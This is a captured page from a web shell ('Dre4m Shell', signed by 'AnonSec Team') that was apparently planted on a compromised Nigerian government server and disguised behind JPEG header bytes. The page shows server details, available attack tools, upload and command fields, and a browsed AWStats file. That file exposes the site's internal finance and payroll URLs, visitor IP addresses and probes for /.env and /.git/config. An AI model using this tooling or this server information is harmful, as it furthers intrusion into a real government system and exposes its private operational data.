ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.100.190
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/tmp/awstats/awstats052024.grp.nicn.gov.ng.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202405 will be lost/reset.
# Last config file used to build this data file was /home/nicngo5/tmp/awstats/awstats.grp.nicn.gov.ng.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2011                
POS_TIME 2670                
POS_VISITOR 11125               
POS_DAY 12391               
POS_DOMAIN 3293                
POS_LOGIN 3614                
POS_ROBOT 3769                
POS_WORMS 3977                
POS_EMAILSENDER 4108                
POS_EMAILRECEIVER 4251                
POS_SESSION 12920               
POS_SIDER 13106               
POS_FILETYPES 4386                
POS_DOWNLOADS 4563                
POS_OS 8084                
POS_BROWSER 8218                
POS_SCREENSIZE 8491                
POS_UNKNOWNREFERER 8565                
POS_UNKNOWNREFERERBROWSER 8892                
POS_ORIGIN 9027                
POS_SEREFERRALS 9163                
POS_PAGEREFS 9307                
POS_SEARCHWORDS 9455                
POS_KEYWORDS 9607                
POS_MISC 2334                
POS_ERRORS 9666                
POS_CLUSTER 3470                
POS_SIDER_404 9807                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240601131856 1 0 25503785517060
FirstTime 0
LastTime 20240531230541
LastUpdate 20240602050734 1 0 0 0 0
TotalVisits 29                  
TotalUnique 29                  
MonthHostsKnown 0                   
MonthHostsUnknown 31                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 8 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
JavascriptDisabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 0 0 0
1 2 5 255774 1 2 358
2 9 21 5818936 4 9 18852
3 107 111 20427362 15 173 8412977
4 1 1 5109 5 5 2560907
5 0 0 0 0 0 0
6 7 9 5511169 4 8 641339
7 4 4 116609 3 6 9876
8 1 1 5073 4 5 22831
9 0 0 0 0 0 0
10 0 0 0 0 0 0
11 4 7 265920 3 5 5441
12 2 2 10146 2 3 716
13 4 7 265920 7 8 11960
14 0 0 0 0 0 0
15 0 0 0 0 1 4367
16 0 0 0 1 1 358
17 0 0 0 1 1 5073
18 3 3 15327 3 4 1122
19 1 1 5109 1 1 374
20 1 1 5073 1 1 358
21 1 1 5109 1 1 374
22 4 73 270622 39 39 140544
23 5 5 25365 5 6 1790
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 8
us 137 217 26883082
eu 9 23 6074549
ca 4 4 20292
be 2 2 10182
kr 1 1 5109
nl 1 1 5073
gb 1 3 5227
gr 1 1 5109
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 2
bot[\s_+:,\.\;\/\\-] 2 5097 20240511130905 1
survey 1 5073 20240531130230 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 6
js 10 434051 0 0
txt 66 4666 0 0
html 3 148440 0 0
woff 5 327260 0 0
Unknown 148 31058120 0 0
css 20 1036086 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 48
/.well-known/pki-validation/06EBF59D08FE102D5ABBBB085FDD9012.txt 4 0 308
/.well-known/pki-validation/F290534C0CEB1130950D133281C0188B.txt 2 0 154
/.well-known/pki-validation/1DCA72C569774D6D2D7FE5B67C5DFACE.txt 2 0 154
/.well-known/pki-validation/4807E2D7378730B206D8BA4FEA490829.txt 2 0 154
/.well-known/pki-validation/F7249B8E281918273FA770331250E177.txt 2 0 154
/.well-known/pki-validation/93FD12F28DCF48E0CCEB233833B51D5F.txt 2 0 154
/.well-known/pki-validation/D06EFB1F19602C52C1534FFB0A8D16D5.txt 2 0 154
/.well-known/pki-validation/5DA56320194E51D4A44B97B397C32C5A.txt 2 0 154
/.well-known/pki-validation/0C3A85F66C3778B68065DF7DCB3721B9.txt 2 0 154
/.well-known/pki-validation/9B75DF14A2A0D703044B6DC2E4DC78F4.txt 2 0 154
/.well-known/pki-validation/BE7A97E0FFCBE14D2779BD38723CE050.txt 2 0 154
/.well-known/pki-validation/9CC1EE0063A81231F7E6BA5344CB004B.txt 2 0 154
/.well-known/pki-validation/D37C73D62DBB7D420891C9B121AF8AA1.txt 2 0 154
/.well-known/pki-validation/9D785F8BFB6AB13F3416D2335A2CC825.txt 2 0 154
/.well-known/pki-validation/97AFF19C5D874827CD6648F3C09B8D29.txt 2 0 154
/.well-known/pki-validation/668ED27833E7821186679962C32C9032.txt 2 0 154
/.well-known/pki-validation/3C3582178B9147631B74237AE67C6C3B.txt 1 0 64
/.well-known/pki-validation/E4D86C3F24DD77E334D86912199F2ED8.txt 1 0 64
/.well-known/pki-validation/55141CBCA0A1271A6242BE9D4DFC35DD.txt 1 0 64
/.well-known/pki-validation/1291CEC9825CED03DB1EC524FB9A5FD9.txt 1 0 64
/.well-known/pki-validation/1F5948BD57FCE0634CDBA98C25E4BB02.txt 1 0 64
/.well-known/pki-validation/02011E8527688E3034EFD56382AF3916.txt 1 0 64
/.well-known/pki-validation/8BAB122DCE77A3A31B7F7CC9D96C1EE0.txt 1 0 64
/.well-known/pki-validation/BEA269286B4FAFE17581647B97E3AD41.txt 1 0 64
/.well-known/pki-validation/B0022A303399E1951D08A16A89F127AE.txt 1 0 64
/.well-known/pki-validation/C2286F4411516490680DB1DE1603EF2C.txt 1 0 64
/.well-known/pki-validation/0B0C2CF0E1FD81F26D21F0222133501C.txt 1 0 64
/.well-known/pki-validation/76C8518166E48216E98EF643A72B544E.txt 1 0 64
/.well-known/pki-validation/29772B2D43F99B8BA8ED54A9EDACC1D9.txt 1 0 64
/.well-known/pki-validation/F1233DA4F9C0F43AF61658A3A82166C3.txt 1 0 64
/.well-known/pki-validation/222994C3F5890089AA088CE09666A432.txt 1 0 64
/.well-known/pki-validation/76CE1A250336B8D4C8836FFFFCE37F16.txt 1 0 64
/.well-known/pki-validation/D81237B56A1E910C6EDAB5369848D512.txt 1 0 64
/.well-known/pki-validation/119BF88B989E1BB1F7BE93E974647FAC.txt 1 0 64
/.well-known/pki-validation/9CEED2BAA51E062EE1D16232505F8138.txt 1 0 64
/.well-known/pki-validation/97F0A8A6016708B508BB9BDCBF3DC02D.txt 1 0 64
/.well-known/pki-validation/804DD8C7E3BA6CBB962958A196DC6C47.txt 1 0 64
/.well-known/pki-validation/8FEE682DD7665B819ADCA37D12455120.txt 1 0 64
/.well-known/pki-validation/8B74E49DCB7AD7CC91ED2A952BE700A4.txt 1 0 64
/.well-known/pki-validation/5A476822C43AF861B46EF94F461DDB1C.txt 1 0 64
/.well-known/pki-validation/B24AED2BF7BE7F5C962E2B26751A4A00.txt 1 0 64
/.well-known/pki-validation/F7501436FDEDF4E2796DC408A17C09CD.txt 1 0 64
/.well-known/pki-validation/C73BA1504BC7746C22D925EABCCB2223.txt 1 0 64
/.well-known/pki-validation/9C243208CA98F58AD7EFA8A91C2E3B6D.txt 1 0 64
/.well-known/pki-validation/BAE7A20A863A60CE1855E08D3ED359CD.txt 1 0 64
/.well-known/pki-validation/594FD3461B38F100726B88C8B4E440E4.txt 1 0 64
/.well-known/pki-validation/1D3FDCB412107D952EE5FDAD9EC92EE8.txt 1 0 64
/.well-known/pki-validation/4BFF9CA14731E40E1BD7650597771188.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 6
win7 1 1
macosx15 7 7
win10 169 139
Unknown 73 7
win8 1 1
win8.1 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 11
chrome41.0.2225.0 1 1
chrome117.0.5938.132 10 4
Unknown 66 0
chrome124.0.0.0 152 131
chrome83.0.4103.61 1 1
chrome121.0.0.0 7 7
chrome29.0.1547.2 1 1
mozilla 7 7
msie11.0 1 1
chrome79.0.3945.130 1 1
chrome79.0.3945.79 5 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 4
COMODO_DCV 20240516223117
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240518214321
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240531183148
Sectigo_DCV 20240516223120
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
Sectigo_DCV 20240516223120
COMODO_DCV 20240516223117
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 21 87
From1 0 0
From2 0 0
From3 0 0
From4 135 165
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
500 17 10901349
406 1 5073
302 45 16298
301 1 239
404 204 906488
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 26
/wp-admin/install.php 1 -
/server-status 2 -
/assets/css/daterangepicker.css 3 http://grp.nicn.gov.ng/ledger/view
/passport 1 http://grp.nicn.gov.ng/personal-emolument/create
/debug/default/view 2 -
/companyLogos/report-logo09-09-2019-24911568021129.jpg 31 http://grp.nicn.gov.ng/ledger/view
/.env 2 -
/assets/js/daterangepicker.js 6 http://grp.nicn.gov.ng/ledger/view
/companyLogos/company-logo09-09-2019-98991568021129.png 33 http://grp.nicn.gov.ng/ledger/view
/about 2 -
/.vscode/sftp.json 2 -
/.DS_Store 2 -
/assets/js/moment.js 5 http://grp.nicn.gov.ng/ledger/view
/wp-admin/setup-config.php 1 -
/telescope/requests 2 -
/config.json 2 -
/.git/config 2 -
/server 2 -
/v2/_catalog 2 -
/wordpress/wp-admin/setup-config.php 1 -
/login.action 2 -
/Images/default.png 1 http://grp.nicn.gov.ng/personal-emolument/create
/_all_dbs 2 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 2 -
/s/532323e2431323e2035323e2939313/_/ 2 -
/resources/demos/style.css 91 http://grp.nicn.gov.ng/
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 31
68.235.38.180 113 117 25677845 20240506035842
138.199.47.197 6 8 5506096 20240503064315
138.199.47.207 3 15 568453 20240503024829
68.235.38.178 3 3 111500 20240506072703
205.169.39.107 3 6 260847 20240517114848
34.66.208.156 2 2 10182 20240516223253
65.154.226.170 2 5 255774 20240528135205
98.97.79.161 2 5 255774 20240510013901
65.154.226.171 2 5 255774 20240516225927
167.172.172.0 1 1 5073 20240518133731
199.45.154.64 1 1 5073 20240531115227
87.236.176.159 1 1 5073 20240518204621
150.136.144.2 1 1 5073 20240518125112
178.128.228.218 1 1 5109 20240523043531
192.175.111.238 1 1 5073 20240516233554
64.225.99.149 1 1 5109 20240518182716
143.110.242.23 1 1 5073 20240518060220
199.45.154.29 1 1 5109 20240518075609
199.45.155.27 1 1 5109 20240531183148
188.166.114.38 1 1 5073 20240531230541
45.55.72.123 1 1 5109 20240520194041
199.45.154.19 1 1 5073 20240525121240
110.172.98.2 1 1 5109 20240518184459
87.236.176.42 1 1 5109 20240518214321
167.248.133.181 1 1 5073 20240518082348
199.250.214.225 0 64 4512 
91.199.212.132 0 2 154 
64.15.129.117 1 1 5073 20240516233550
192.175.111.250 1 1 5073 20240516233551
64.15.129.100 1 1 5073 20240516233555
157.230.218.145 1 1 5073 20240520133213
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 23
20240501 0 4 282 0
20240502 0 4 282 0
20240503 9 27 6074831 2
20240504 0 4 282 0
20240505 0 4 282 0
20240506 116 124 25789627 2
20240507 0 4 282 0
20240508 0 4 282 0
20240509 0 4 282 0
20240510 2 9 256056 1
20240511 0 4 282 0
20240512 0 4 282 0
20240513 0 4 282 0
20240514 0 4 282 0
20240515 0 4 282 0
20240516 8 17 286684 6
20240517 3 6 260847 1
20240518 9 9 45801 9
20240520 2 2 10182 2
20240523 1 1 5109 1
20240525 1 1 5073 1
20240528 2 5 255774 1
20240531 3 3 15255 3
END_DAY

# Session range - Number of visits
BEGIN_SESSION 5
15mn-30mn 1
5mn-15mn 1
0s-30s 25
2mn-5mn 1
1h+ 1
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 65
/login 31 157551 29 21
/report/expenditure-balances-break-down 10 374736 0 0
/ledger/view 8 6178342 0 0
/vourcher-location 7 508947 0 0
/create/new-contract 6 10091338 0 1
/assets/font-awesome/fonts/fontawesome-webfont.woff 5 327260 0 4
/voucher/editable/list 5 4147613 0 0
/report/range/expenditure 4 322001 0 0
/consol/salaryScale 4 203230 0 1
/report/vote-book-break-down 3 175511 0 0
/ 3 148440 0 1
/contractor-record 3 379134 0 0
/all/e-payment/archive 2 183132 0 0
/is-user-head-of-expenditure-control 2 4 0 0
/voucher/liability 2 919680 0 0
/allocation/lend-borrow-report 2 114052 0 0
/daybook/view-book 2 158244 0 0
/refunds-entry-for-treasury 2 119186 0 0
/allocation/approval 2 120696 0 0
/create/procurement 2 300522 0 0
/voucher/check 2 1240894 0 0
/viewing-all-contracts 2 199040 0 0
/promotion-pay 2 106369 0 0
/allocation 2 235234 0 0
/new-voucher 2 115718 0 0
/sub-account/voucher/create 1 80984 0 0
/allocation/lend-borrow 1 53892 0 0
/tax-matters/description/add 1 63982 0 0
/create/procurement-staff 1 145799 0 0
/personal-emolument/division/staffs 1 8044 0 0
/report/vote/expenditure 1 56278 0 0
/accept-voucher-for-process 1 146772 0 0
/voucher/simple-edit 1 61942 0 0
/report/vote-trans 1 57362 0 0
/allocation/monthly 1 65320 0 0
/con-salary/create 1 63718 0 0
/voucher/final-clearance 1 71872 0 0
/allocation/unesttled-lend-borrow-report 1 55184 0 0
/CR/voucher/contract/create 1 208504 0 0
/tax-matter-report 1 61436 0 0
/generate-epayment-report 1 63951 0 0
/computes/consolidatedsalary 1 56746 0 1
/beneficiary/voucher 1 593313 0 0
/staffvariable 1 321833 0 0
/report/voults/monthly 1 58291 0 0
/collect/append 1 2 0 0
/capital/voucher/contract/create 1 200364 0 0
/personal-emolument/create 1 134156 0 0
/update-payment-transaction 1 57306 0 0
/staff-pension 1 52642 0 0
/economic-head/create 1 77600 0 0
/collect/staff-detail 1 2 0 0
/report/voults 1 58436 0 0
/payroll-merger 1 53111 0 0
/contractor/create 1 788526 0 0
/create-treasury-report 1 53704 0 0
/economic-code 1 196111 0 0
/vat-wht-payee 1 140101 0 0
/allocation/totalmonthly 1 55964 0 0
/recurrent-create-staff-voucher 1 80405 0 0
/company-purchase-day-book 1 147001 0 0
/create-batch-staff-voucher 1 78903 0 0
/personal-emolument/findStaff 1 1704 0 0
/claimcontract/report 2 110912 0 0
/report/transactions 1 124773 0 0
END_SIDER

Anon7 - 2022
AnonSec Team